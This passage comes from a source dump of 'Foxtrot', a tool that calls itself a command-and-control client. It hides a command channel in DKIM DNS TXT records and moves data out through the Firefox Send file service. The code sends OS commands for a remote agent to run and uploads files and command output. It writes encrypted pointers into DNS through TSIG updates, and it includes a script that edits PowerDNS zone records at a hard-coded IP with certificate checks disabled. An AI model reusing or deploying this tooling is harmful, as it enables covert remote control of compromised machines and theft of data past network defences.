TODO: Implement file exfil 507 | if response_type == 'o': # output command 508 | msgMeta['c'] = 'o' 509 | 510 | if not metaonly: 511 | if dmsgcontent is not None: 512 | with tempfile.NamedTemporaryFile() as tf: 513 | tf.write(dmsgcontent) 514 | tf.seek(0) 515 | ffsend_link = self.fx_send_file(self.fconfig['service'], tf) 516 | self.flogger.debug("Serve: Retrieve response at: " + ffsend_link) 517 | msgMeta['u'] = ffsend_link 518 | 519 | # package metadata 520 | jmsgMeta = json.dumps(msgMeta, separators=(',', ':')) 521 | payload_b64 = self.fx_penc(self.fconfig['key'], jmsgMeta) 522 | self.fx_agent_dynrec("update", self.fconfig['domain'], self.fconfig['nssrv'], 523 | self.fx_selector_from_key(self.fconfig['key'], self.fconfig['domain']), 524 | self.fconfig['ttl'], payload_b64, **self.fconfig['tsig']) 525 | 526 | def action_send_file(self, dfh, meta): 527 | """ Send file to Frefox Send service""" 528 | ffsend_link = "" 529 | ffsend_link = self.fx_send_file(self.fconfig['service'], dfh) 530 | self.flogger.debug("Retrieve with: " + ffsend_link) 531 | 532 | meta['u'] = ffsend_link 533 | jmeta = json.dumps(meta, separators=(',', ':')) 534 | payload_b64 = self.fx_penc(self.fconfig['key'], jmeta) 535 | self.fx_agent_dynrec("update", self.fconfig['domain'], self.fconfig['nssrv'], 536 | self.fx_selector_from_key(self.fconfig['key'], self.fconfig['domain']), 537 | self.fconfig['ttl'], payload_b64, **self.fconfig['tsig']) 538 | 539 | def action_send_cmd(self, meta, content): 540 | """ Convert command to file""" 541 | with tempfile.NamedTemporaryFile() as tf: 542 | tf.write(content) 543 | tf.seek(0) 544 | self.action_send_file(tf, meta) 545 | 546 | def action_send_data_file(self, dfh): 547 | """ Send data file to Agent """ 548 | msgMeta = {'t': 'q', 's': 'J', 'c': 'f', 'u': ''} 549 | self.action_send_file(dfh, msgMeta) 550 | 551 | def action_send_ocmd_file(self, dfh): 552 | """" Send file wth command for execution to Agent """ 553 | msgMeta = {'t': 'q', 's': 'J', 'c': 'o', 'u': ''} 554 | self.action_send_file(dfh, msgMeta) 555 | 556 | def action_send_ocmd(self, dmsgcontent): 557 | """ Send command for execution to Agent """ 558 | msgMeta = {'t': 'q', 's': 'J', 'c': 'o', 'u': ''} 559 | self.action_send_cmd(msgMeta, dmsgcontent) 560 | 561 | def action_send_mcmd(self, dmsgcontent): 562 | """ Send command for execution to Agent """ 563 | msgMeta = {'t': 'q', 's': 'J', 'c': 'm', 'u': ''} 564 | self.action_send_cmd(msgMeta, dmsgcontent) 565 | 566 | def action_console(self): 567 | """ Enter console """ 568 | print('Starting Command server, use , `q`, `quit` to quit') 569 | cst = threading.Thread(target=self.cmdservice_worker, args=(self.fconfig, self)) 570 | cst.start() 571 | 572 | def cmdservice_worker(self, fconfig, fox): 573 | fcc = FConCommander(fconfig, fox) 574 | fcc.do_loop() 575 | 576 | def fpath2fh(self, fpath): 577 | if os.path.exists(fpath) and os.path.isfile(fpath): 578 | try: 579 | fh = open(fpath, 'rb') 580 | except IOError as ioe: 581 | self.flogger.error("File {} could not be opened: {}".format(fpath, ioe )) 582 | print("File {} could not be opened: {}".format(fpath, ioe )) 583 | return None 584 | return fh 585 | else: 586 | self.flogger.error("Path {} does not exist".format(fpath)) 587 | print("Path {} does not exist".format(fpath)) 588 | return None 589 | 590 | 591 | -------------------------------------------------------------------------------- /foxtrot/helpers.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import hashlib 3 | import logging 4 | 5 | 6 | class HelpAction(argparse._HelpAction): 7 | 8 | def __call__(self, parser, namespace, values, option_string=None): 9 | parser.print_help() 10 | 11 | # retrieve subparsers from parser 12 | subparsers_actions = [ 13 | action for action in parser._actions 14 | if isinstance(action, argparse._SubParsersAction)] 15 | 16 | # there will probably only be one subparser_action, 17 | # but better safe than sorry 18 | for subparsers_action in subparsers_actions: 19 | 20 | # get all subparsers and print help 21 | for choice, subparser in subparsers_action.choices.items(): 22 | print("\n".format(choice)) 23 | print(subparser.format_help()) 24 | 25 | parser.exit() 26 | 27 | 28 | class Configurator: 29 | config = {} 30 | logger = None 31 | 32 | @staticmethod 33 | def parseArgs(): 34 | 35 | parser = argparse.ArgumentParser( 36 | formatter_class=argparse.RawTextHelpFormatter, 37 | description=""" 38 | 39 | C&C Client to shuttle data over Firefox Send service, \n 40 | with help from DNS facilities over DKIM records. \n 41 | 42 | Data Channel: Firefox Send service. 43 | Ephemeral Links, Limits on number of download or expiration threshold (24h) 44 | Command Channel: DKIM records keyed off the agent id. 45 | More information https://github.com/dsnezhkov/foxtrot/wiki 46 | -OR- 47 | `foxtrot.py --help` for Help 48 | """, 49 | add_help=False 50 | ) 51 | 52 | parser.add_argument('--help', action=HelpAction, help='Foxtrot Help') 53 | 54 | subparsers = parser.add_subparsers() 55 | subparsers.title = 'Actions' 56 | subparsers.description = 'valid actions' 57 | subparsers.help = 'Valid actions: send|recv' 58 | subparsers.required = True 59 | subparsers.dest = 'action' 60 | subparsers.metavar = " [action options]" 61 | 62 | subparser_send = subparsers.add_parser('send') 63 | subparser_recv = subparsers.add_parser('recv') 64 | subparser_con = subparsers.add_parser('console') 65 | subparser_agent = subparsers.add_parser('agent') 66 | 67 | # Always required options 68 | orequired = parser.add_argument_group('Required parameters') 69 | orequired.add_argument('--agent', nargs='?', help='Agent id', required=True) 70 | orequired.add_argument('--tsigname', nargs='?', help='TSIG name and Key', required=True) 71 | orequired.add_argument('--tsigrdata', nargs='?', type=argparse.FileType('r'), 72 | help='TSIG data file', required=True) 73 | orequired.add_argument('--nserver', nargs='?', help='Name Server IP', required=True) 74 | orequired.add_argument('--domain', nargs='?', help='Domain', required=True) 75 | 76 | # FFSend endpoint (production) 77 | parser.add_argument('--ffservice', default='https://send.firefox.com/') 78 | 79 | # Set verbosity of operation 80 | parser.add_argument('--verbose', choices=['info', 'debug'], 81 | help='Verbosity level. Default: info', default='info') 82 | 83 | # Set verbosity of operation 84 | parser.add_argument('--role', choices=['master', 'slave'], 85 | help='Role of the agent.', default='slave', required=True) 86 | 87 | # Agent options 88 | subparser_agent.add_argument('--operation', 89 | choices=[ 90 | 'generate', 'delete', 'reset', 91 | 'ident', 'show', 'peek', 'post'], 92 | help=''' 93 | generate: generate agent record entry; 94 | delete: delete agent record entry; 95 | reset: reset agent record entry to defaults; 96 | show: show DNS record; 97 | peek: peek at job data in the DNS record; 98 | post: post request for agent, post response from the agent; 99 | ident: identify agent record ''', 100 | required=True) 101 | 102 | subparser_agent.add_argument('--interval_low', nargs='?', type=int, default=0, 103 | help='Check DNS record every (#)seconds (lower), set to 0 if only once') 104 | subparser_agent.add_argument('--interval_high', nargs='?', type=int, default=0, 105 | help='Check DNS record every (#)seconds (high), set to 0 if only once') 106 | 107 | # Send file options 108 | subparser_send.add_argument('--operation', 109 | choices=['dfile', 'ocmd', 'mcmd'], 110 | help=''' 111 | dfile: send data file for download as data; 112 | ocmd: send command instruction for execution be agent, 113 | mcmd: send internal command instruction for agent''', 114 | required=True) 115 | subparser_send.add_argument('--dfpath', nargs='?', type=argparse.FileType('rb'), 116 | help='dfpath: Path to readable data file') 117 | subparser_send.add_argument('--ocmd', help='OS command to send') 118 | subparser_send.add_argument('--ofpath', nargs='?', type=argparse.FileType('rb'), 119 | help='ofpath: Path to readable os commands file') 120 | subparser_send.add_argument('--mcmd', help='Internal command to send') 121 | 122 | # Recv file options 123 | # subparser_recv.add_argument('--cache', nargs='?', default="cache", 124 | # help='path to directory to store results') 125 | 126 | args = parser.parse_args() 127 | 128 | # Save and set arguments 129 | Configurator.config['args'] = args 130 | 131 | Configurator.config['agent'] = args.agent.encode() 132 | Configurator.config['domain'] = args.domain 133 | Configurator.config['ttl'] = 60 134 | 135 | Configurator.config['nssrv'] = args.nserver 136 | Configurator.config['tsigname'] = args.tsigname 137 | Configurator.config['tsigrdata'] = args.tsigrdata.read().strip() 138 | Configurator.config['tsig'] = {Configurator.config['tsigname']: Configurator.config['tsigrdata']} 139 | Configurator.config['service'] = args.ffservice 140 | Configurator.config['verbose'] = args.verbose 141 | Configurator.config['role'] = args.role 142 | 143 | Configurator.logger = logging.getLogger('foxtrot') 144 | logging.basicConfig( 145 | format='%(asctime)s - %(levelname)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p %Z', 146 | level=eval("logging.{0}".format(Configurator.config['verbose'].upper()))) 147 | 148 | # Create Agent's ID. MD5 generates 32 bit key length used to feed into AES as key 149 | # Can use anything else as long as it's in 16, 32 increments (usable for for AES). 150 | # At the same time DNS labels limit is < 64 so e.g. sha256 will be overly long 151 | Configurator.config['key'] = hashlib.md5(Configurator.config['agent']).hexdigest() 152 | 153 | @staticmethod 154 | def getLogger(): 155 | return Configurator.logger 156 | 157 | @staticmethod 158 | def getConfig(): 159 | return Configurator.config 160 | 161 | @staticmethod 162 | def printConfig(): 163 | for c in Configurator.config: 164 | Configurator.logger.debug("CONF: {0}: {1}".format(c, Configurator.config[c])) 165 | 166 | -------------------------------------------------------------------------------- /http/records.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import requests 3 | import json 4 | 5 | """ import time 6 | # pip install git+https://github.com/pieterlexis/pdns_api_client-py.git 7 | import pdns_api_client 8 | from pdns_api_client.rest import ApiException 9 | from pprint import pprint 10 | 11 | 12 | # Configure API key authorization: APIKeyHeader 13 | pdns_api_client.configuration.api_key['X-API-Key'] = '**********' 14 | pdns_api_client.configuration.host = "https://138.68.234.147/api/v1" 15 | pdns_api_client.configuration.verify_ssl = False # Set to True if valid cert 16 | 17 | 18 | server_id = 'localhost' 19 | zone_name = 's3b.stream.' 20 | zone_kind = 'Native' 21 | zone_soa_edit_api = 'INCEPTION-INCREMENT' 22 | nameservers = ["ns1.s3b.stream.", "ns2.s3b.stream."] 23 | 24 | 25 | zone_struct = pdns_api_client.Zone() 26 | api_instance = pdns_api_client.ZonesApi() 27 | rrsets = True 28 | 29 | ## @ RRSet 30 | record_top = pdns_api_client.Record( 31 | content="ns1.s3bucket.stream. hostmaster.s3bucket.stream. 1508130754 10800 3600 604800 1800", disabled=False) 32 | #records_top = [record_top] 33 | rrset_SOA = pdns_api_client.RRSet( 34 | name="s3b.stream.", type="SOA", ttl=3600, changetype="REPLACE", records=[record_top], comments=None) 35 | 36 | ## NS 37 | record_NS_ns1 = pdns_api_client.Record( 38 | content="ns1.s3b.stream.", disabled=False) 39 | record_NS_ns2 = pdns_api_client.Record( 40 | content="ns2.s3b.stream.", disabled=False) 41 | 42 | rrset_NS = pdns_api_client.RRSet( 43 | name="s3b.stream.", type="NS", ttl=3600, changetype="REPLACE", records=[record_NS_ns1, record_NS_ns2], 44 | comments=None) 45 | 46 | ## A 47 | record_ns1 = pdns_api_client.Record( 48 | content="138.68.234.147", disabled=False) 49 | rrset_A_ns1 = pdns_api_client.RRSet( 50 | name="ns1.s3b.stream.", type="A", ttl=3600, changetype="REPLACE", records=[record_ns1], comments=None) 51 | 52 | record_ns2 = pdns_api_client.Record( 53 | content="138.68.234.147", disabled=False) 54 | rrset_A_ns2 = pdns_api_client.RRSet( 55 | name="ns2.s3b.stream.", type="A", ttl=3600, changetype="REPLACE", records=[record_ns2], comments=None) 56 | 57 | ## TXT 58 | record_dkim = pdns_api_client.Record(content='"v=DKIM1; h=sha256; k=rsa; t=y; s=email; p=XXXXXXXXXXXX"', disabled=False) 59 | rrset_TXT = pdns_api_client.RRSet( 60 | name="352d079ffdaddd23edd407ff32a66c48._domainkey.s3bucket.stream.", 61 | type="TXT", ttl=3600, changetype="REPLACE", records=[record_dkim], comments=None) 62 | 63 | rrsets_update = [rrset_SOA, rrset_NS, rrset_A_ns1, rrset_A_ns2, rrset_TXT] 64 | #zone_struct.rrsets = rrsets_update 65 | #zone_struct.soa_edit_api = zone_soa_edit_api 66 | #zone_struct.kind = zone_kind 67 | #zone_struct.nameservers = nameservers 68 | #pprint(zone_struct) 69 | 70 | pprint(rrsets_update) 71 | try: 72 | # Modifies basic zone data (metadata). 73 | # api_instance.put_zone(server_id, zone_id, zone_struct) 74 | # Creates a new domain, returns the Zone on creation. 75 | api_response = api_instance.list_zone(server_id, 's3bucket.stream') 76 | pprint(api_response) 77 | except ApiException as e: 78 | #print("Exception when calling ZonesApi->put_zone: %s\n" % e) 79 | print("Exception when calling ZonesApi->create_zone: %s\n" % e) 80 | 81 | 82 | exit(2) 83 | """ 84 | 85 | zone_uri = 'https://138.68.234.147/api/v1/servers/localhost/zones/s3bucket.stream' 86 | #rec_uri = 'https://138.68.234.147/api/v1/servers/localhost/search-data' 87 | headers = { 'X-API-Key': '**********' } 88 | 89 | def precord_get(): 90 | r = requests.get(zone_uri, headers=headers, verify=False) 91 | print(r.text) 92 | 93 | def precord(payload): 94 | # r = requests.patch(uri, data=json.dumps(payload), headers=headers) 95 | # For bypassing self-signed verification 96 | r = requests.patch(zone_uri, data=json.dumps(payload), headers=headers, verify=False) 97 | print(r.text) 98 | 99 | r_replace_p = { 100 | "rrsets": [ 101 | { 102 | "name": "352d079ffdaddd23edd407ff32a66c48._domainkey.s3bucket.stream.", 103 | "type": "TXT", 104 | "ttl": 3600, 105 | "changetype": "REPLACE", 106 | "records": [ 107 | { 108 | "content": '"v=DKIM1; h=sha256; k=rsa; t=y; s=email; p=XXXXXXXXXXXX"', 109 | "disabled": False 110 | } 111 | ] 112 | } 113 | ] 114 | } 115 | 116 | r_delete_p = { 117 | "rrsets": [ 118 | { 119 | "name": "352d079ffdaddd23edd407ff32a66c48._domainkey.s3bucket.stream.", 120 | "type": "TXT", 121 | "changetype": "DELETE" 122 | } 123 | ] 124 | } 125 | 126 | r_create_p = { 127 | "rrsets": [ 128 | { 129 | "name": "352d079ffdaddd23edd407ff32a66c48._domainkey.s3bucket.stream.", 130 | "type": "TXT", 131 | "ttl": 3600, 132 | "changetype": "REPLACE", 133 | "records": [ 134 | { 135 | "content": '"v=DKIM1; h=sha256; k=rsa; t=y; s=email; p=YYYYYYYYYYYYYYY"', 136 | "disabled": False 137 | } 138 | ] 139 | } 140 | ] 141 | } 142 | 143 | precord(r_delete_p) 144 | precord(r_create_p) 145 | #precord(r_replace_p) 146 | precord_get() 147 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | beautifulsoup4==4.6.0 2 | blessings==1.6 3 | bpython==0.16 4 | certifi==2017.7.27.1 5 | chardet==3.0.4 6 | curtsies==0.2.11 7 | delegator.py==0.0.14 8 | dnspython==1.15.0 9 | greenlet==0.4.12 10 | idna==2.6 11 | pdns-api-client==0.0.13 12 | pexpect==4.3.1 13 | prompt-toolkit==1.0.15 14 | ptyprocess==0.5.2 15 | pycryptodome==3.4.7 16 | pycryptodomex==3.4.7 17 | Pygments==2.2.0 18 | python-dateutil==2.6.1 19 | requests==2.18.4 20 | requests-toolbelt==0.8.0 21 | sendclient==0.1.2 22 | six==1.11.0 23 | tqdm==4.19.2 24 | urllib3==1.22 25 | wcwidth==0.1.7 26 | --------------------------------------------------------------------------------